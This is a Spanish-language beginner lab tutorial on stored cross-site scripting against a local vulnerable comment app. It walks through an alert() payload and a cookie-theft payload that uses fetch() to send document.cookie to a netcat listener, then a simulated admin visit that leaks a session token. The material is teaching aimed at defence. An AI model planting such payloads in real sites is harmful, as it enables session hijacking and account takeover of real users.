Cross-Site Scripting (XSS) almacenado

CiberseguridadBeginner
Practicar Ahora

Introducción

El Cross-Site Scripting almacenado (XSS almacenado) es una vulnerabilidad web altamente peligrosa que ocurre cuando una aplicación web recopila información de un usuario, la almacena en una base de datos (como una sección de comentarios, una publicación en un foro o un perfil de usuario) y, posteriormente, inserta esa información en una página web sin una sanitización adecuada.

A diferencia del XSS reflejado, que requiere que la víctima haga clic en un enlace específicamente diseñado, el XSS almacenado es persistente. Una vez que la carga útil maliciosa se inyecta en la base de datos, se ejecutará automáticamente en el navegador de cualquier usuario que visite la página infectada. Esto lo convierte en una herramienta increíblemente potente para que los atacantes roben cookies de sesión, redirijan a los usuarios o realicen acciones no autorizadas en nombre de la víctima.

Esa persistencia es lo que hace que el XSS almacenado sea especialmente peligroso. El atacante realiza la inyección una sola vez, pero la propia aplicación sigue reproduciendo la carga útil a los futuros visitantes.

En este laboratorio, interactuarás con una aplicación web local vulnerable. Aprenderás a identificar dónde se almacena la entrada del usuario, a inyectar una carga útil de JavaScript persistente y a simular un escenario donde la cookie de sesión de un administrador es robada cuando este visualiza tu comentario inyectado.

Identificar el almacenamiento de entradas (Comentarios/Perfiles)

En este paso, interactuarás con una aplicación web vulnerable que se ejecuta localmente en tu máquina. La aplicación cuenta con una sección de comentarios sencilla donde los usuarios pueden publicar mensajes.

Para explotar una vulnerabilidad de XSS almacenado, primero debes identificar dónde acepta la aplicación la entrada del usuario y dónde se muestra posteriormente dicha entrada. Utilizaremos la herramienta de línea de comandos curl para interactuar con el servidor web.

Este es el ciclo de vida del XSS almacenado en una frase: la entrada ingresa a la aplicación, se almacena y, más tarde, se renderiza en el navegador de otro usuario.

Primero, veamos el estado actual de la aplicación enviando una solicitud GET a la página principal. Ejecuta el siguiente comando en tu terminal:

curl http://localhost:5000/

Deberías ver una lista de comentarios vacía en la salida HTML:

<h1>Comments</h1><ul></ul>

Ahora, enviemos un comentario normal para ver cómo la aplicación maneja y almacena nuestra entrada. Usaremos curl con la bandera -X POST para enviar datos al endpoint /post. Ejecuta el siguiente comando:

curl -X POST -d "comment=Hello World" http://localhost:5000/post

El servidor debería responder con Comment added!.

Para verificar que tu entrada se almacenó permanentemente en la base de datos y ahora se refleja en la página web, solicita la página principal nuevamente:

curl http://localhost:5000/

Ahora verás tu comentario incrustado directamente en la estructura HTML:

<h1>Comments</h1><ul><li>Hello World</li></ul>

Debido a que la aplicación toma nuestra entrada y la coloca directamente en el HTML sin ningún filtrado o sanitización, es muy probable que sea vulnerable al XSS almacenado.

Inyectar carga útil persistente

Ahora que hemos confirmado que la aplicación almacena y refleja nuestra entrada, intentaremos inyectar una carga útil de JavaScript persistente.

En este punto, la base de datos se convierte en un mecanismo de entrega de ataques. La carga útil ya no es solo texto almacenado; es contenido de script futuro esperando ser renderizado.

En un escenario del mundo real, si un atacante inyecta una etiqueta <script> en una sección de comentarios vulnerable, el servidor guarda esa etiqueta en su base de datos. Cada vez que cualquier usuario (incluidos los administradores) visite la página de comentarios, su navegador descargará el HTML, verá la etiqueta <script> y ejecutará el código del atacante.

Inyectemos una carga útil clásica de prueba de concepto de XSS que activa un cuadro de alerta en el navegador. Ejecuta el siguiente comando para publicar el comentario malicioso:

curl -X POST -d "comment=<script>alert('XSS')</script>" http://localhost:5000/post

Después de que el servidor confirme que el comentario fue agregado, solicita la página principal una vez más para inspeccionar el código fuente HTML:

curl http://localhost:5000/

Observa detenidamente la salida:

<h1>Comments</h1><ul><li>Hello World</li><li><script>alert('XSS')</script></li></ul>

Nota que la carga útil <script>alert('XSS')</script> se renderiza exactamente como la escribimos. La aplicación no codificó los corchetes angulares (< y >) en entidades HTML seguras (como &lt; y &gt;).

Si un usuario real abriera esta página en un navegador web como Chrome o Firefox, el navegador interpretaría el texto inyectado no como un comentario, sino como JavaScript ejecutable, y un cuadro de alerta que muestra "XSS" aparecería inmediatamente en su pantalla.

Robar cookies de sesión (Simulado)

Aunque mostrar un cuadro de alerta demuestra que la vulnerabilidad existe, los atacantes reales utilizan XSS para fines maliciosos, como el robo de cookies de sesión. Si un atacante roba la cookie de sesión de un administrador, puede secuestrar la cuenta del administrador y tomar el control total de la aplicación web.

Para robar una cookie, un atacante inyecta JavaScript que lee el document.cookie de la víctima y lo envía a un servidor controlado por el atacante.

Primero, necesitamos configurar un "oyente" (listener) para capturar la cookie robada. Usaremos la utilidad nc (netcat) para escuchar en el puerto 8000 y guardar cualquier solicitud HTTP entrante en un archivo llamado stolen_cookie.txt. El símbolo & al final ejecuta este comando en segundo plano para que puedas seguir usando tu terminal.

nc -l -p 8000 > stolen_cookie.txt &

A continuación, inyectaremos nuestra carga útil maliciosa en la aplicación vulnerable. Esta carga útil utiliza la API fetch() de JavaScript para enviar silenciosamente una solicitud HTTP a nuestro oyente de netcat, añadiendo la cookie de la víctima a la URL.

Ejecuta el siguiente comando para inyectar la carga útil de robo de cookies:

curl -X POST -d "comment=<script>fetch('http://localhost:8000/?cookie=' + document.cookie)</script>" http://localhost:5000/post

La carga útil ahora está almacenada permanentemente en la base de datos. Está a la espera de que una víctima visite la página.

Simular la interacción de la víctima

En un ataque real, el atacante simplemente espera a que los usuarios naveguen por el sitio web infectado. Debido a que estamos trabajando en un entorno de terminal sin un navegador web gráfico, hemos proporcionado un script de Python que simula a un administrador visitando la página.

Este script actuará como un navegador web: leerá los comentarios de la base de datos, detectará la etiqueta <script> que inyectaste y la "ejecutará" realizando la solicitud HTTP a tu oyente de netcat, pasando una cookie de administrador simulada.

Ejecuta el script de simulación usando el siguiente comando:

python3 simulate_victim.py

Deberías ver una salida que indica que el administrador simulado visitó la página y que el script inyectado se ejecutó:

Admin victim is visiting the page...
[Browser Simulator] Executing injected script...

Cuando el navegador simulado ejecutó tu carga útil, envió una solicitud HTTP al oyente de netcat que iniciaste en el paso anterior. Netcat capturó esta solicitud y la guardó en stolen_cookie.txt.

Inspeccionemos el contenido del archivo para ver si capturamos con éxito la cookie de sesión del administrador:

cat stolen_cookie.txt

Deberías ver la solicitud HTTP GET sin procesar capturada por netcat, que incluye la cookie robada en la ruta de la URL:

GET /?cookie=admin_session=super_secret_admin_token_999 HTTP/1.1
Host: localhost:8000
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

¡Felicidades! Has explotado con éxito una vulnerabilidad de XSS almacenado para secuestrar una sesión de usuario simulada. Con este token admin_session, un atacante podría modificar las cookies de su propio navegador y suplantar al administrador en la aplicación web.

Resumen

En este laboratorio, exploraste y explotaste con éxito una vulnerabilidad de Cross-Site Scripting (XSS) almacenado. Aprendiste a identificar campos de entrada que almacenan datos de forma persistente y los reflejan sin una sanitización HTML adecuada. Luego, inyectaste cargas útiles básicas de JavaScript para confirmar la presencia de la vulnerabilidad. Después, creaste una carga útil maliciosa diseñada para exfiltrar datos confidenciales, como cookies de sesión, a un oyente externo. Finalmente, comprendiste el grave impacto del XSS almacenado al simular un escenario donde la sesión de un administrador se ve comprometida simplemente por ver una página infectada.

El XSS almacenado es un fallo de seguridad crítico porque no requiere ingeniería social una vez que la carga útil ha sido plantada; la propia aplicación entrega el ataque a sus usuarios. Para prevenir estas vulnerabilidades, los desarrolladores deben implementar siempre una validación de entrada estricta y una codificación de salida consciente del contexto (como convertir < en &lt;) antes de renderizar los datos proporcionados por el usuario en un navegador web.